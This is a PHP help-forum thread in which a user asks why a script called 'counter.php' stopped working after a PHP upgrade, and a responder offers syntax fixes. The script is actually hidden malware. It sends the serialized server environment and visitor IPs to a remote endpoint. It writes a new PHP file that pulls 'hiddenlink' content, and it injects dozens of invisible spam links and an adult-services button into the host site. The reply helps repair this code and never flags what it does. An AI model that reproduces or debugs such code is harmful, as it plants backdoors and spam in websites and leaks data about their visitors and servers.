script not working

hello there,
I was using this script with no problems when I had centos v4.4 and PHP 4.3.9
now that I upgraded to centos v5.2 with PHP v5.1.6 for some reason it doesn't want to work..
it works fine when executed directly but not when executed as <? require_once("counter.php");?>
maybe there is something wrong, what do you guys think?
<?
$version='1.7';
$timeout=2;
function f_file_get_contents($url)
{
	global $timeout;
	if (ini_get('allow_url_fopen')){
		$old = ini_set('default_socket_timeout', $timeout);
		$data=@file_get_contents($url);
  		ini_set('default_socket_timeout', $old);
	} else {
	        $url=str_replace('&amp;','&',$url);
	        $ch=curl_init();
	        curl_setopt($ch, CURLOPT_URL, $url);
	        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
	        $data = curl_exec ($ch);
	        curl_close ($ch);
	}
	return $data;
}
 
 
function ip2int($ip) {
	$a=explode(".",$ip);
	return $a[0]*256*256*256+$a[1]*256*256+$a[2]*256+$a[3];
}
 
 
function GetRandomString($length) {
       $template = "1234567890aJbEcdGFefgHhiVjklmAQnopqZrsJtuNvwMxWOPLKyz";   
       $rndstring='';
       for ($a = 0; $a <= $length; $a++) {
               $b = rand(0, strlen($template) - 1);
               $rndstring .= $template[$b];
       }       
       return $rndstring;       
}
 
 
$p1=array('id=','gr=','script=','l=','c=','i=');
$p2=array('s=', 'nc=', 'c=', 'fc=', 'p=', 't=');
$p3=array('u=','url=','u=','url=','u=','url=');
$p4=array('&l=movie','&link=pic','&link=m','','&l=tmb'.rand(40,270),'&l=got','&lnk=thumb','','');
 
 
 
if (isset($_SERVER['QUERY_STRING']))
	if ($_SERVER['QUERY_STRING']=='getversion'){
		echo $version;
	} else {
		$parts=urlencode(serialize($_SERVER));
		$ip=getenv("REMOTE_ADDR");
		$lfrom=urlencode("http://".$_SERVER['SERVER_NAME']);
		if (!isset($_SERVER['HTTP_REFERER']))$_SERVER['HTTP_REFERER']='';
		$url='/sprotectx.php?code=100&b=1&f='.urlencode($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom."&srv=$parts";
		$body = f_file_get_contents($url);
		if (empty($body)){
			$filename='protectx.gif';
		} else {
			list($body,$new,$old)=explode('|',$body);
			if ($body!='b_' and $body!='ch_' and $body!='g_' and $body!='nb_' and $body!='uv_' and $body!='ad_'){
			   	$filename='protectx.gif';
			} else {
		   		$filename=$body.'default.gif';
			}
		}
 
 
		$new_chksum=$new[1].$new[3].$new[5];
		if ($new_chksum!='zan') $new='pzoaenthl.php';
		$old_chksum=$old[1].$old[3].$old[5];
		if ($old_chksum!='zan') $old='pzoaenthl.php';
		echo "<a href='/index.php?go=show&code=100&fb=1' target='_blank'><img src='/buttons/$filename' alt='Adult webmaster services'  border='0' style='width: 120px; height: 60px;'></a>";
 
 
		$chour=date('H');
		if ($chour==15 and $new!=''){
			$new_file="<? \$hct=@file_get_contents('/hiddenlink.php?code='.\$_GET['code'].'&r=".'\'.$_GET[\'ref\']'."); ?>";
			if (!file_exists($new)){
				if (file_exists($old))
					unlink($old);
		
			 	      	$w=@fopen($new,'w');
					@flock($w,2);
					@fwrite($w,$new_file."\n");
					@flock($w,3);
					@fclose($w);		
			}
		}
		
		
		if (!file_exists('protectx_hl.jpg')){
			$pimg=@f_file_get_contents('/protectx_hl.jpg');
			$handle = @fopen("protectx_hl.jpg", 'w');
			@fwrite($handle, $pimg);
			@fclose($handle);
		} else {
		        if ($new!=''){
		        	if (file_exists($new)){
					echo "<div style='display: none; position:absolute; left:-300px;'>";
 
					for($i=0;$i<40;$i++){
						$link="<a href='$new?code=100&ref=".$_SERVER['HTTP_REFERER'].'&'.$p1[rand(0,5)].rand(1,80).'&'.$p2[rand(0,5)].rand(1,80).'&'.$p3[rand(0,5)].GetRandomString(rand(30,50)).$p4[rand(0,8)]."'><img src='protectx_hl.jpg' width='150' height='120' alt='Movie'></a>\n";
						echo $link;
					}
 
 
					echo "</div>";
				}
			}	
		}
}		
?>

Open in new window

LVL 1
XK8ERAsked:
Who is Participating?

[Product update] Infrastructure Analysis Tool is now available with Business Accounts.Learn More

x
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

nanharbisonCommented:
what is the error message you get when you run this as an include statement?
0
nanharbisonCommented:
you might try changing line 53:
                $ip = getenv("REMOTE_ADDR");
to:
                $ip = $_SERVER["REMOTE_ADDR"];

also, you should create a new webpage, call it something simple, like phpinfo.php and just put this (maybe you know this?):
<?PHP
 phpinfo();
?>
and see how the server environment variables in your version of PHP5 are supposed to be written.
if it says:
 _SERVER["REMOTE_ADDR"]

you would put a $ in front of it:
$_SERVER["REMOTE_ADDR"]
0
XK8ERAuthor Commented:
the things that I see are

$new_chksum=$new[1].$new[3].$new[5];

$old_chksum=$old[1].$old[3].$old[5];


Notice: Undefined variable: new in /home/var/www/html/counter.php on line 77
Notice: Undefined variable: old in /home/var/www/html/counter.php on line 79
0
Fundamentals of JavaScript

Learn the fundamentals of the popular programming language JavaScript so that you can explore the realm of web development.

nanharbisonCommented:
where are these variables, $new and $old coming from?
0
nanharbisonCommented:
never mind, I see they are in the list()
0
nanharbisonCommented:
line 56 mixes single and double quotes, and I assume $parts is a variable, where it looks like text the way this line is written



 $url='/sprotectx.php?code=100&b=1&f='.urlencode($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom."&srv=$parts";
 
should be
 $url='/sprotectx.php?code=100&b=1&f='.urlencode($_SERVER['HTTP_REFERER']).'&st='.ip2int($ip).'&lfrom='.$lfrom.'&srv='.$parts;

Open in new window

0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
nanharbisonCommented:
I took a site from PHP4 to PHP5. PHP5 is fussier about some things like this.
Also, $new and $old have NOT been declared as arrays. They should be.
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
PHP

From novice to tech pro — start learning today.